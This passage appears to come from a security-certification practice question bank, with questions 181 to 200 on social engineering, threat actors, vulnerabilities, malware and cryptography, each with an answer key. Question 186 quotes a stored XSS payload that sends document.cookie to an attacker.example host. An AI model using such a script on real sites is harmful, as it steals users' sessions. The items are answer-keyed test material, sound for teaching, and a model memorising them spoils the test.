Threats, Vulnerabilities, and Mitigations

490 questions

Question 181Question

A cybersecurity analyst at a software development firm is investigating an incident where unauthorized code was introduced into a production build pipeline. The incident response log indicates two distinct actions taken by the threat actor: first, developers received bogus IT support tickets directing them to re-authenticate at an external single-sign-on domain (`login-company-auth.com`) that mimicked the company's internal portal; second, the attacker uploaded malicious software libraries to a public package repository using names with subtle typographical variations of legitimate internal dependencies (e.g., `core-utils-lib` vs. `core-utiis-lib`). Which of the following social engineering attack techniques were directly executed in this scenario? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Pretexting by creating a fabricated IT support scenario to trick developers into disclosing credentials on a rogue authentication portal; Typosquatting by registering public package names that visually mimic legitimate internal library names to trick developers into pulling malicious dependencies

Answer

The threat actor leveraged pretexting by creating a false IT support scenario to capture credentials, and typosquatting by publishing lookalike software library packages to trick developers during code compilation.
Pretexting is demonstrated by the attacker creating a believable IT support scenario to coerce authentication on a fake portal. Typosquatting is demonstrated by registering public software packages with names that closely mirror legitimate internal libraries to deceive developers during dependency resolution.

Step-by-Step Solution

1
Analyze the first phase of the incident involving fake IT support tickets.
The creation of an false role and scenario (an IT support request requiring authentication) to trick users into performing an action is defined as pretexting.
Pretexting relies on establishing a believable story or context to manipulate targets into providing confidential information or credentials.
2
Analyze the second phase of the incident involving software dependency names.
Registering public dependencies with subtle spelling variations of legitimate internal packages (`core-utils-lib` vs `core-utiis-lib`) is defined as typosquatting (or typosquatting-based supply chain attack).
Typosquatting exploits user typing errors or subtle visual oversights to redirect users or software build scripts to malicious resources.
3
Evaluate and eliminate incorrect social engineering vectors.
Vishing is eliminated because no voice channel was used. Watering hole attacks are eliminated because the attacker did not infect a legitimate public website.
Matching attack vector definitions strictly to the transmission medium and attack method described in the incident logs confirms the correct answers.

Key Concept

Differentiating social engineering vectors including pretexting, typosquatting, vishing, and watering hole attacks in enterprise scenarios.
Question 182Question

An enterprise security operations center is reviewing four complex, multi-stage security incidents involving targeted human manipulation. Match each social engineering tactical delivery technique on the left to the corresponding operational scenario indicator on the right.

Click a left item, then click its matching right item

Items

Reverse Social Engineering
MFA Fatigue (Push Spamming) with Vishing
Watering Hole Attack
Pretexting with Typosquatting

Matches

Show answer & explanation

Answer

Reverse Social Engineering matches the scenario where an adversary causes network disruptions and advertises a fake helpline so victims call them. MFA Fatigue with Vishing matches the scenario involving repeated push notification prompts coupled with an urgent phone call from a fake technician. Watering Hole Attack matches the scenario where a niche vendor technical forum frequented by engineers is compromised. Pretexting with Typosquatting matches the scenario where a lookalike supplier domain and false narrative are used to modify invoice payment details.
Each attack vector is correctly paired based on operational mechanics: Reverse Social Engineering relies on victim-initiated contact; MFA Fatigue combined with Vishing leverages pushed authentication spam alongside voice coercion; Watering Hole attacks exploit trusted industry watering holes/websites; and Pretexting with Typosquatting combines fraudulent role-play with misleading lookalike domains.

Step-by-Step Solution

1
Analyze the tactical delivery methods
Identify key characteristics of Reverse Social Engineering, MFA Fatigue/Vishing, Watering Hole, and Pretexting with Typosquatting.
Matching requires identifying the core delivery vector and psychological levers used in each attack.
2
Evaluate the first scenario involving breakroom flyers and self-initiated victim calls
Map to Reverse Social Engineering.
In reverse social engineering, the target relies on assistance published by the attacker, initiating the contact themselves.
3
Evaluate the second scenario involving compromised niche vendor forums
Map to Watering Hole Attack.
Watering hole attacks selectively infect websites known to be trusted and frequented by the target demographic.
4
Evaluate the third scenario involving off-hours push prompts and phone calls
Map to MFA Fatigue with Vishing.
Push spamming weakens user resistance through repetitive MFA prompts, while voice phishing reinforces the false urgency.
5
Evaluate the fourth scenario involving lookalike vendor domains and executive impersonation
Map to Pretexting with Typosquatting.
Typosquatting provides technical plausibility via lookalike domains, while pretexting builds the false narrative to redirect funds.

Key Concept

Social Engineering Attack Vectors and Incident Indicators
Question 183Question

An IT administrator discovers that network administrators are remotely connecting to core switches over an unencrypted Telnet connection on TCP port 23, exposing administrative credentials to internal network sniffing. Which of the following is the BEST solution to mitigate this host and network vulnerability?

Show answer & explanation

Answer: Migrate all remote management traffic to Secure Shell (SSH) on TCP port 22.

Answer

Migrate all remote management traffic to Secure Shell (SSH) on TCP port 22.
Migrating from cleartext Telnet to SSH ensures all command-line administration and authentication credentials are encrypted in transit, preventing credential harvesting via network sniffing.

Step-by-Step Solution

1
Identify the underlying vulnerability.
Telnet communicates in plain text across the network without encryption.
Cleartext management protocols expose passwords and session data to packet sniffing.
2
Select the appropriate secure protocol replacement.
Secure Shell (SSH) uses strong cryptographic algorithms to secure remote terminal sessions.
Replacing Telnet with SSH directly mitigates credential exposure during transmission.

Key Concept

Replacing insecure cleartext administrative protocols with encrypted protocols like SSH.
Estimated Time:45s
Question 184Question

A critical infrastructure energy provider discovers an undetected intruder within its operational technology (OT) network. Investigation reveals the threat group utilized undisclosed zero-day exploits targeting proprietary industrial controllers, maintained covert persistence for over two years without executing ransomware or financial extortion, and possessed multi-disciplinary capability across hardware and software engineering. Which TWO of the following threat actor attributes and classifications best describe this threat group?

Select all that apply

Show answer & explanation

Answer: Nation-state actor / Advanced Persistent Threat (APT) classification; High sophistication with deep resource funding and capability

Answer

The correct classifications and attributes for this threat group are Nation-state / Advanced Persistent Threat (APT) classification and High sophistication with deep resource funding and capability.
Nation-state adversaries and Advanced Persistent Threats (APTs) are characterized by extreme sophistication, high funding, access to zero-day vulnerabilities, and strategic long-term objectives such as prepositioning within critical infrastructure networks without triggering extortion alerts.

Step-by-Step Solution

1
Analyze the incident details provided in the scenario
Identified key indicators: custom zero-day exploits on proprietary OT hardware, stealthy 2-year persistence, no financial extortion demands, highly strategic target.
Threat actor profiling relies on evaluating observed tactics, techniques, procedures (TTPs), resource levels, and intent.
2
Evaluate actor motivation and capability profiles against the scenario evidence
The profile matches nation-state actors/APTs who possess massive resource backing and focus on long-term cyber espionage or strategic operational positioning against critical infrastructure.
Organized crime or hacktivists seek monetary gain or public notoriety, whereas nation-states prioritize stealth, persistence, and complex capability development.
3
Select the two matching attributes from the available choices
Confirmed Nation-state / APT actor classification and High sophistication with deep resource funding.
Both options accurately describe an adversary capable of zero-day development and prolonged covert operation.

Key Concept

Threat Actor Attributes, Sophistication, and Motivations
Estimated Time:2m 0s
Question 185Question

An enterprise security analyst is designing a vulnerability assessment program for critical hybrid-cloud server infrastructure. The organization mandates that the assessment methods must identify missing host-level OS security patches and detect cleartext sensitive data transfers without sending disruptive synthetic network probes across production subnets. Which TWO of the following vulnerability assessment and testing techniques should the analyst implement? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Deploying agent-based credentialed scanning tools directly on server instances to audit OS configurations and installed software.; Implementing passive network traffic monitoring to observe data transmissions without generating additional subnet traffic.

Answer

The analyst should implement agent-based credentialed scanning to audit host-level patches and configurations without network probe overhead, along with passive network traffic monitoring to detect unencrypted cleartext data in motion without generating network traffic.
Agent-based credentialed scanning grants direct local access to audit installed patches and OS configurations without sending intrusive network traffic across subnets. Passive network traffic monitoring evaluates network traffic via SPAN/TAP ports to identify unencrypted data without injecting synthetic network probes.

Step-by-Step Solution

1
Analyze host patch auditing requirement without network probe overhead.
Agent-based credentialed scanning operates locally on the target operating system, granting complete visibility into installed patches and registry settings while avoiding disruptive network scans.
Satisfies the requirement for internal patch auditing without high network traffic impact.
2
Analyze unencrypted data transmission requirement without injecting network probes.
Passive network traffic monitoring passively inspects packet headers and payloads from SPAN/TAP ports, identifying unencrypted protocols in transit without generating synthetic probes.
Satisfies the requirement to observe cleartext sensitive data without affecting network traffic.
3
Evaluate and eliminate incorrect distractor options.
Active non-credentialed scanning sends intrusive probes, web application firewalls are inline preventive controls rather than assessment techniques, and honeypots are deception tools rather than assessment tools.
Eliminates techniques that either inject probes, misclassify control types, or misuse deception tech.

Key Concept

Selecting appropriate credentialed, non-intrusive, and passive security assessment methodologies based on operational constraints.
Estimated Time:2m 0s
Question 186Question

A software security analyst is reviewing a web application's API logs and controller implementation following a reported security incident. The backend service processes JSON payloads for user profile updates. An audit log captured the following HTTP POST request body submitted by an authenticated non-administrative user:

{
"account_id": "8492",
"email": "[email protected]",
"role": "administrator",
"bio": "<script>fetch('http://attacker.example/collect?c='+document.cookie)</script>"
}

Upon processing this request, the backend database successfully updated the user's account role to 'administrator' and subsequently rendered the script payload when other users viewed the updated profile page.

Which of the following software vulnerabilities were successfully exploited in this incident? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Mass assignment, which allowed client-supplied JSON properties to automatically bind to internal data model fields without proper field-level filtering.; Stored cross-site scripting (XSS), which allowed an injected script to be persisted in the database and executed in victim web browsers.

Answer

The correct answers are Mass assignment and Stored cross-site scripting (XSS).
The scenario illustrates two distinct application vulnerabilities. First, the application accepted and bound the 'role' JSON attribute directly into the backend domain model without filtering, exposing a mass assignment vulnerability that enabled privilege escalation. Second, the application saved the un-sanitized JavaScript payload in the database and served it to other users, resulting in stored cross-site scripting (XSS).

Step-by-Step Solution

1
Analyze the request payload for authorization and data-binding flaws.
Identified that the payload included a 'role' key set to 'administrator' which modified internal model properties.
When software frameworks automatically map request parameters to object fields without a explicit field whitelist (DTO), callers can modify restricted attributes like user roles via mass assignment.
2
Analyze the request payload for input validation flaws.
Identified an inline JavaScript fetch script enclosed in <script> tags within the 'bio' parameter.
Submitting un-sanitized code that is saved to a persistent datastore and rendered to other users leads to stored cross-site scripting (XSS).
3
Distinguish between client-side script injection and server-side database injection.
Determined that the payload targets browser execution environment (XSS) rather than database engine syntax (SQLi).
XSS payloads execute in victim web browsers to steal cookies or session tokens, whereas SQL injection targets database query parsers.

Key Concept

Mass assignment (over-posting) and stored cross-site scripting (XSS)
Estimated Time:2m 0s
Question 187Question

A political organization's public website was recently defaced with messages promoting a specific social cause. Investigators determined that the attackers utilized low-sophistication web tools and were primarily driven by ideological motives rather than financial profit or state-sponsored espionage. Which of the following threat actor types best describes the perpetrators of this attack?

Show answer & explanation

Answer: Hacktivist

Answer

Hacktivist
Hacktivists are threat actors driven by political, ideological, or social motivations. They commonly use tactics like website defacement to raise awareness for their cause using accessible attack tools.

Step-by-Step Solution

1
Analyze the primary motivation described in the scenario
The primary motive is ideological and social activism rather than monetary gain or national espionage.
Adversary classification depends heavily on primary intent and goals.
2
Evaluate technical sophistication and tactic
The attack involved low-sophistication web defacement techniques.
Understanding resource level and tactics narrows down candidate actor profiles.
3
Match the attributes to threat actor definitions
Hacktivists specifically fit the profile of ideologically motivated actors carrying out public web defacements.
This directly aligns with the CompTIA Security+ threat actor taxonomy.

Key Concept

Threat Actor Types and Motivations
Estimated Time:45s
Question 188Question

A security analyst inspects system configurations and network routing logs for a mission-critical database host following an internal security audit:

[SYS_AUDIT] Host: db-prod-01.internal (IP: 192.168.10.45)
[WARN] Service 'legacy-telemetry-daemon' active on 0.0.0.0:9090
[INFO] Configuration file /etc/telemetry.conf sets AUTH_REQUIRED=FALSE
[WARN] API endpoint provides unencrypted remote memory telemetry dumps via HTTP GET /sys/memdump
[WARN] Host routing table permits unrestricted cross-VLAN traffic from Staging-VLAN (10.20.0.0/16)

Based on the log output and audit findings, which of the following vulnerabilities or architecture deficiencies are directly present in this environment? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Insecure service configuration allowing unauthenticated remote access to system memory resources; Lack of network microsegmentation allowing implicit trust and open routing between staging and production zones

Answer

The correct vulnerabilities are insecure service configuration allowing unauthenticated remote memory access, and lack of network microsegmentation allowing implicit trust across subnets.
The scenario highlights two distinct architecture and host vulnerabilities: first, the telemetry service explicitly disables authentication (`AUTH_REQUIRED=FALSE`) while listening on all interfaces and providing unencrypted memory telemetry dumps over HTTP. Second, the network architecture fails to enforce microsegmentation, allowing unrestricted communication between the staging VLAN and the production database host.

Step-by-Step Solution

1
Analyze the service log entry for host-level misconfigurations
Identified that the daemon listens on all interfaces (0.0.0.0) with authentication disabled (AUTH_REQUIRED=FALSE) and exposes unencrypted memory dump endpoints.
Disabling authentication on network-facing daemons creates an unauthenticated host vulnerability.
2
Analyze the network audit finding regarding routing and VLAN isolation
Discovered that the production database host accepts unrestricted network traffic directly from the staging VLAN (10.20.0.0/16).
Allowing flat cross-VLAN communication between non-production and production environments violates network segmentation and implicit-trust boundaries.

Key Concept

Host Service Hardening and Network Microsegmentation
Question 189Question

A security technician is categorizing host and network vulnerabilities discovered during an enterprise infrastructure audit. Match each vulnerability descriptor on the left with its primary architectural risk on the right.

Click a left item, then click its matching right item

Items

Unpatched Out-of-Band (OOB) Baseboard Management Controller (BMC)
Use of unencrypted SNMPv1 community strings across network subnets
Unauthenticated HTTP access to Instance Metadata Service (IMDS)
Unsupported End-of-Life (EOL) operating system on an unsegmented network

Matches

Show answer & explanation

Answer

Unpatched Out-of-Band (OOB) Baseboard Management Controller (BMC) matches Direct hardware-level control bypassing host operating system security controls; Use of unencrypted SNMPv1 community strings across network subnets matches Interception of telemetry data and management passwords via network sniffing; Unauthenticated HTTP access to Instance Metadata Service (IMDS) matches Temporary cloud identity credential harvesting via Server-Side Request Forgery (SSRF); Unsupported End-of-Life (EOL) operating system on an unsegmented network matches Unmitigated exploit execution enabling rapid lateral movement.
Each host and network vulnerability corresponds to its specific operational impact: BMC management interfaces provide raw hardware control below the OS layer; cleartext SNMPv1 leaks management community strings; IMDS endpoints allow SSRF attacks to harvest temporary cloud security tokens; and unpatched EOL operating systems grant unmitigated exploit opportunities on flat networks.

Step-by-Step Solution

1
Examine the scope and operational layer of each vulnerability listed on the left.
Identified physical out-of-band management controllers, unencrypted management protocols, cloud metadata endpoints, and legacy host operating systems.
Accurate risk classification requires analyzing where each component operates in the enterprise architecture.
2
Correlate out-of-band management (BMC) with low-level hardware risks.
BMCs control server hardware directly and bypass host OS security controls when compromised.
OOB hardware interfaces run dedicated firmware below the main operating system level.
3
Correlate legacy management protocols (SNMPv1) with network eavesdropping risks.
Cleartext transmission permits unauthorized traffic inspection and credential theft.
SNMPv1 does not provide packet encryption or cryptographic authentication.
4
Correlate cloud IMDS endpoints with web/application exploitation vectors.
IMDS exposes sensitive identity role credentials to local application calls, creating SSRF risks.
Cloud instance metadata services reply to unauthenticated HTTP GET requests from internal interfaces.
5
Correlate unsupported EOL operating systems with vulnerability exploitation risks.
Unpatched legacy platforms allow unmitigated exploit execution and rapid network propagation.
Vendors cease issuing security updates for EOL products, leaving known vulnerabilities open.

Key Concept

Host, Network, and Architecture Vulnerabilities
Question 190Question

Match each malware type on the left with its corresponding technical indicator of compromise (IoC) on the right.

Click a left item, then click its matching right item

Items

Ransomware
Keylogger
Logic Bomb
Rootkit

Matches

Show answer & explanation

Answer

Ransomware pairs with mass file encryption and payment demand; Keylogger pairs with keystroke interception and recording; Logic Bomb pairs with dormant code triggered by specific events; Rootkit pairs with kernel-level modifications hiding processes.
Each malware type directly matches its signature telemetry: Ransomware performs bulk file encryption for extortion; Keyloggers record user input; Logic bombs execute based on predefined system triggers; Rootkits alter kernel structures to maintain stealth.

Step-by-Step Solution

1
Examine the operational objective of each listed malware classification.
Identified key goals: extortion for Ransomware, credential harvesting for Keyloggers, conditional malicious execution for Logic Bombs, and deep OS evasion for Rootkits.
Understanding malware objectives reveals their corresponding technical telemetry.
2
Map each malware category to its distinct primary indicator of compromise (IoC).
Ransomware matches file encryption/ransom instructions; Keylogger matches recorded keystrokes; Logic Bomb matches event/time trigger; Rootkit matches kernel obfuscation.
Correlating telemetry traits enables security analysts to correctly identify and mitigate threats.

Key Concept

Malware Classifications and Technical IoCs
Question 191Question

Match each threat actor type on the left with its defining capability, access level, or primary motivation on the right.

Click a left item, then click its matching right item

Items

Nation-state actor
Insider threat
Hacktivist
Script kiddie

Matches

Show answer & explanation

Answer

Nation-state actors correspond to state sponsorship and advanced persistent threat capabilities. Insider threats correspond to existing legitimate privileges. Hacktivists correspond to ideological or political motivations. Script kiddies correspond to low technical sophistication using pre-existing scripts.
Nation-state actors possess high sophistication and state funding. Insider threats leverage authorized internal access. Hacktivists operate based on social/political motives. Script kiddies rely on pre-written tools due to limited skill.

Step-by-Step Solution

1
Analyze each threat actor category based on standard cybersecurity taxonomy.
Identified key threat actors: Nation-state, Insider threat, Hacktivist, and Script kiddie.
Threat actors are categorized by sophistication, motivation, resources, and access levels.
2
Evaluate the distinguishing attributes listed on the right.
Mapped each threat actor to its primary attribute.
Correct alignment demonstrates fundamental knowledge of threat actor profiles and operational risk vectors.

Key Concept

Threat Actor Attributes and Classifications
Question 192Question

During a threat hunting exercise on an enterprise web server running Linux, a SOC analyst examines suspicious host telemetry following an alert. The investigation reveals that an external exploit against an HTTP service injected shellcode directly into the heap space of the running `httpd` process. The injected code allocated executable memory regions using `mprotect()` and dynamically resolved socket functions to establish an outbound reverse shell without ever writing any executable files, scripts, or persistent artifacts to the physical disk. Which of the following malware classifications best describes the malicious activity detected on this server?

Show answer & explanation

Answer: Fileless malware

Answer

Fileless malware is the correct classification because the payload executes exclusively in volatile memory without writing binary files to persistent storage.
The correct answer is Fileless malware because the threat actor injected shellcode directly into volatile memory (RAM) allocated by an existing process, executing a reverse shell without storing any files on the host's secondary storage.

Step-by-Step Solution

1
Analyze the telemetry indicators provided in the scenario
Identified that shellcode was injected into heap space via `mprotect()` and executed directly within the memory space of the existing `httpd` process.
Evaluating where and how the payload executes reveals its primary execution architecture.
2
Check for disk-based artifacts or persistence mechanisms
Confirmed zero executable files, scripts, or binaries were written to non-volatile disk storage.
Absence of disk artifacts is the defining characteristic distinguishing fileless/memory-resident payloads from traditional malware.
3
Map the technical observation to the standard malware taxonomy
In-memory shellcode execution without persistent file writes maps directly to fileless malware.
Trojan applications require binary drop/execution, worms require autonomous network replication routines, and rootkits require system-call/kernel interception.

Key Concept

Fileless Malware Execution and In-Memory Payload Analysis
Estimated Time:2m 0s
Question 193Question

An enterprise security auditor discovers several vulnerabilities across an organization's internal infrastructure during a comprehensive technical posture assessment. Match each identified host and network vulnerability indicator on the left to its corresponding primary security risk on the right. Which of the following correctly pairs each vulnerability indicator with its primary security risk?

Click a left item, then click its matching right item

Items

Windows system service configured with an unquoted executable path containing spaces under C:\Program Files\
Legacy SMB service configured to permit anonymous null sessions over the IPC$ share
Internal web application proxy configured to support 3DES and NULL cipher suites
Embedded network device running firmware susceptible to a stack-based buffer overflow

Matches

Show answer & explanation

Answer

The correct pairings match each host/network vulnerability to its specific threat impact: the unquoted service path matches local privilege escalation; SMB null sessions match unauthenticated reconnaissance; weak TLS cipher suites match cryptographic downgrade; and stack-based buffer overflow firmware matches remote code execution.
The pairings correctly connect each technical vulnerability mechanism to its operational security impact. Unquoted service paths expose local execution order bugs used for privilege elevation; SMB IPC$ null sessions expose administrative RPC endpoints for network discovery; legacy cipher suites expose TLS handshakes to algorithm downgrade attacks; and stack-based memory bounds failures permit arbitrary code execution.

Step-by-Step Solution

1
Analyze host-level binary execution vulnerabilities.
Unquoted service paths containing spaces cause Windows to search for executables at each space break. This directly maps to local privilege escalation via path hijacking.
Windows process creation attempts to execute the shortest valid path string when spaces are unquoted.
2
Analyze network protocol misconfigurations for information exposure.
Anonymous SMB null sessions over IPC$ enable unauthenticated RPC queries to list domain objects, mapping directly to unauthenticated reconnaissance.
Legacy NetBIOS/SMB behavior allowed unauthenticated connections to inspect system resources.
3
Evaluate transport layer cryptographic weaknesses.
Supporting 3DES or NULL cipher suites allows attackers to force weak or non-existent encryption during negotiation, mapping directly to cryptographic downgrade and eavesdropping.
Permitting weak algorithms enables protocol downgrade attacks such as POODLE or SWEET32.
4
Evaluate memory corruption flaws in network device firmware.
Unchecked memory writes in firmware lead to instruction pointer overwrites, mapping directly to remote code execution.
Buffer overflow conditions alter control flow execution to arbitrary shellcode.

Key Concept

Host, Network, and Architecture Vulnerabilities
Question 194Question

Match each cryptographic or security control weakness on the left with its corresponding technical description on the right.

Click a left item, then click its matching right item

Items

Hardcoded Cryptographic Key
Deprecated/Weak Cipher Suite
Expired SSL/TLS Certificate
Unsalted Password Hash

Matches

Show answer & explanation

Answer

Hardcoded Cryptographic Key matches embedding secret symmetric keys directly within application code; Deprecated/Weak Cipher Suite matches utilizing legacy algorithms with short key lengths or known structural flaws; Expired SSL/TLS Certificate matches failing to renew a digital credential prior to its validity end date; Unsalted Password Hash matches storing password digests without unique random data.
Each security control weakness aligns with its fundamental technical definition. Hardcoding keys puts secrets in binaries; legacy cipher suites rely on flawed algorithms like DES/RC4; expired certificates break the validity lifecycle in PKI; and unsalted hashes expose stored credentials to precomputed rainbow table lookups.

Step-by-Step Solution

1
Analyze 'Hardcoded Cryptographic Key'
Identify that embedding key material inside software code allows attackers who disassemble the software to retrieve the secret key.
Matches the description of embedding secret keys directly within application code or compiled binaries.
2
Analyze 'Deprecated/Weak Cipher Suite'
Identify that older algorithms such as DES or RC4 do not meet modern security baseline requirements.
Matches utilizing legacy algorithms with short key lengths or known structural flaws.
3
Analyze 'Expired SSL/TLS Certificate'
Recognize that digital certificates require active validity windows for trust verification.
Matches failing to renew a digital credential prior to its validity end date.
4
Analyze 'Unsalted Password Hash'
Recall that cryptographic salts add unique randomness to prevent hash collisions across identical passwords.
Matches storing password digests without unique random data.

Key Concept

Cryptographic and Security Control Weaknesses
Question 195Question

An energy utility enterprise recently deployed 50,000 smart grid sensors that transmit operational telemetry data to a central management server over encrypted TLS connections. During an independent security audit, analysts discover that while TLS 1.2 is enforced, the server accepts finite-field Diffie-Hellman key exchanges configured with legacy 512-bit prime parameters. Which cryptographic vulnerability does this configuration represent, and what risk does it present to the enterprise?

Show answer & explanation

Answer: Weak key exchange implementation allowing an attacker to precompute discrete logarithms and decrypt TLS session keys

Answer

Weak key exchange implementation allowing an attacker to precompute discrete logarithms and decrypt TLS session keys
The correct answer accurately identifies that 512-bit prime parameters in Diffie-Hellman key exchange are cryptographically broken. Utilizing sub-2048-bit prime groups dramatically reduces the computational effort required to solve discrete logarithms, enabling threat actors to compute session keys and decrypt TLS traffic.

Step-by-Step Solution

1
Analyze the reported scenario and identify the specific cryptographic mechanism.
The server uses TLS 1.2 with finite-field Diffie-Hellman key exchange utilizing 512-bit prime modulus parameters.
Diffie-Hellman parameter size dictates the mathematical difficulty of solving the discrete logarithm problem necessary to derive session keys.
2
Evaluate the security threshold for Diffie-Hellman key sizes.
512-bit DH groups are cryptographically weak and vulnerable to precomputation attacks using the Number Field Sieve (NFS).
Modern cryptographic guidelines require DH prime sizes of at least 2048 bits to resist polynomial-time discrete logarithm factoring.
3
Determine the impact of exploiting weak key exchange parameters.
An adversary performing a man-in-the-middle or passive decryption attack can derive the shared secret and decrypt network traffic.
Breaking the key exchange compromises the confidentiality of all TLS sessions established with those weak parameters.

Key Concept

Cryptographic Key Exchange Weaknesses (Diffie-Hellman Parameter Strength)
Estimated Time:2m 0s
Question 196Question

A security analyst is auditing a C-based backend service responsible for processing batch user updates. Code analysis reveals that the buffer allocation calculation `total_bytes = user_count * sizeof(user_record_t)` uses an unsigned 32-bit integer. When a caller supplies a very large `user_count`, the multiplication arithmetic wraps around, resulting in a small memory allocation from `malloc()`. The application then attempts to copy all incoming user records into this undersized buffer, causing arbitrary memory corruption. Which of the following software vulnerabilities is demonstrated in this scenario?

Show answer & explanation

Answer: Integer overflow resulting in a heap-based buffer overflow

Answer

Integer overflow resulting in a heap-based buffer overflow
The scenario describes an arithmetic integer overflow where a calculated memory allocation size exceeds the maximum integer capacity and wraps around to a small value. Passing this reduced value to memory allocation functions causes insufficient memory to be reserved. When the program subsequently writes the entire payload into this undersized allocation, it overwrites adjacent heap memory, leading to a heap-based buffer overflow.

Step-by-Step Solution

1
Analyze the arithmetic operation
The calculation `user_count * sizeof(user_record_t)` exceeds the maximum capacity of a 32-bit unsigned integer.
When an integer variable exceeds its maximum value boundary, it wraps around to a small number near zero.
2
Evaluate memory allocation impact
`malloc()` allocates a small memory buffer based on the wrapped integer value.
The memory allocator receives the smaller, wrapped size argument rather than the actual required storage size.
3
Trace memory copy behavior
Writing all input records into the undersized heap buffer overwrites adjacent heap memory.
The copying routine uses the actual `user_count` instead of checking against the newly allocated buffer size, triggering a heap overflow.

Key Concept

Integer Overflow and Buffer Overflow Vulnerabilities
Question 197Question

A security analyst conducts an internal vulnerability assessment on a Linux server host processing enterprise telemetry. During host inspection, the analyst extracts the following active socket states and service configuration snippet:

# netstat -tuln | grep 9099
tcp 0 0 0.0.0.0:9099 0.0.0.0:* LISTEN
# cat /etc/telemetry/agent.conf
[server]
bind_address = "0.0.0.0"
port = 9099
auth_enabled = false

The infrastructure team notes that access control was omitted locally because the host operates behind an enterprise boundary firewall filtering external traffic. However, all internal subnets can reach port 9099 without authentication. Which of the following vulnerabilities is demonstrated by this implementation?

Show answer & explanation

Answer: Over-reliance on perimeter-based network security controls without enforcing Zero Trust local authentication and least-privilege binding

Answer

Over-reliance on perimeter-based network security controls without enforcing Zero Trust local authentication and least-privilege binding
Binding a service to `0.0.0.0` (all interfaces) with authentication disabled (`auth_enabled = false`) creates a severe host and network vulnerability. Relying exclusively on perimeter security exposes internal resources to lateral movement if any internal endpoint or network segment is compromised. Modern secure architecture requires Zero Trust principles: explicit verification, least-privilege service binding (e.g., binding to `127.0.0.1` if local-only), and continuous authentication.

Step-by-Step Solution

1
Analyze the configuration and socket output
The service is listening on `0.0.0.0:9099` (all IP interfaces) with `auth_enabled = false`.
Identify the host-level exposure created by unauthenticated service listening.
2
Evaluate the architectural assumption
The infrastructure relies solely on perimeter firewalls to block external threats while allowing trusted internal network access.
Identify the flawed security posture that assumes internal network traffic is inherently safe.
3
Select the primary vulnerability concept
Assumptions of internal trust violate Zero Trust principles, creating a host vulnerability susceptible to lateral movement.
Match the observed condition to the host/architecture vulnerability classification.

Key Concept

Zero Trust vs. Perimeter Trust in Host & Service Architecture
Question 198Question

An organization's incident response team is dissecting a multi-channel cyber attack targeting a senior system administrator. The adversary first conducted open-source intelligence (OSINT) gathering on public code repositories to obtain personal details and active project names. Next, the attacker placed a direct voice call to the administrator's personal mobile phone impersonating an IT service desk director, claiming that emergency maintenance was required immediately to prevent critical domain service disruption. During the call, the administrator was instructed to follow a link sent via a cellular text message to enter their administrative single sign-on (SSO) credentials into a fake authentication portal. Which combination of social engineering attack vectors and primary principles of influence were executed by the adversary in this incident?

Show answer & explanation

Answer: Vishing and smishing leveraging authority and urgency

Answer

The attack combination consists of vishing and smishing leveraging authority and urgency.
The scenario describes an adversary using direct phone communication to manipulate a target, which defines vishing (voice phishing), combined with malicious links delivered via SMS text message, which defines smishing. The psychological leverage relies on assuming the identity of an executive IT director to project authority and creating a high-stress emergency timeline to induce urgency.

Step-by-Step Solution

1
Analyze the primary delivery channels used during the attack scenario.
The adversary utilized voice communication over the phone (vishing) and short message service texts (smishing) to deliver the malicious credential harvesting portal.
Identifying communication media distinguishes specific social engineering attack vectors from standard email phishing.
2
Evaluate the psychological principles of influence applied to manipulate the target.
The attacker established a persona of an IT service desk director (authority) and stressed an emergency outage prevention timeline (urgency).
Recognizing principles of influence explains how adversaries compel targets to bypass standard security controls.
3
Synthesize vector identification with psychological principles to select the correct description.
The combination of voice and SMS delivery tied to authority and urgency accurately models the multi-vector campaign.
Ensures complete alignment between technical attack execution and human factor vulnerabilities.

Key Concept

Social Engineering Attack Vectors and Psychological Principles of Influence
Estimated Time:3m 0s
Question 199Question

Match each threat actor category with its primary motivation and characteristic attack vector in an enterprise environment.

Click a left item, then click its matching right item

Items

Nation-State Threat Actor
Organized Crime Threat Group
Shadow IT / Unintentional Insider
Hacktivist Collective

Matches

Show answer & explanation

Answer

Nation-State Threat Actor pairs with geopolitical espionage using supply chain compromises and zero-day exploits. Organized Crime Threat Group pairs with financial motivation using stolen credentials for extortion software. Shadow IT / Unintentional Insider pairs with convenience motivation using unauthorized cloud services. Hacktivist Collective pairs with ideological motivation using DDoS and web defacements.
Each threat actor category aligns directly with its characteristic motivation, capability level, and preferred attack vector: Nation-state actors seek geopolitical intelligence via zero-days and supply chain exploits; organized crime seeks financial gain through ransomware and credential theft; shadow IT stems from non-malicious employee convenience via unauthorized SaaS tools; and hacktivists seek publicity for political causes using DDoS and defacement.

Step-by-Step Solution

1
Identify the primary motivation and sophistication level for each threat actor.
Nation-state actors focus on espionage, organized crime on money, hacktivists on ideology, and shadow IT on convenience.
Threat actor categorization starts by distinguishing core intent and capability bounds.
2
Map each threat actor profile to its matching attack vector and operational objective.
Espionage maps to supply chain/zero-days, financial extortion maps to credential compromise/ransomware, convenience maps to unauthorized cloud/web vectors, and ideological disruption maps to DDoS/defacement.
Attack vectors reflect the resources, persistence requirements, and targets typical of each actor category.

Key Concept

Threat Actor Profiles, Motivations, and Vectors
Question 200Question

Match each malware classification on the left with its corresponding technical indicator of compromise (IoC) or telemetry profile on the right.

Click a left item, then click its matching right item

Items

Rootkit
Logic Bomb
Fileless Malware
Remote Access Trojan (RAT)

Matches

Show answer & explanation

Answer

Rootkit pairs with kernel telemetry showing SSDT modifications; Logic Bomb pairs with the script triggered by user account status changes; Fileless Malware pairs with in-memory execution via WMI; Remote Access Trojan pairs with disguised utility establishing outbound C2 communication.
Rootkit matches kernel-level SSDT modification and API evasion. Logic Bomb matches the conditional trigger tied to user account changes. Fileless Malware matches memory-only WMI/PowerShell execution. Remote Access Trojan matches the disguised utility creating outbound C2 traffic.

Step-by-Step Solution

1
Examine stealth and kernel-level manipulation telemetry.
Link SSDT modifications and hidden process enumeration to Rootkit functionality.
Rootkits focus on stealth by hooking API routines and altering operating system kernel structures.
2
Analyze event-driven payload execution triggers.
Match account disability conditions to Logic Bomb behavior.
Logic bombs remain inactive until predefined logical or temporal conditions occur.
3
Analyze non-persistent, memory-only execution signatures using native tools.
Match WMI and memory-only command execution to Fileless Malware.
Fileless malware avoids traditional file-based detection by executing code within RAM via trusted binaries.
4
Examine backdoor capabilities hidden within legitimate-looking software.
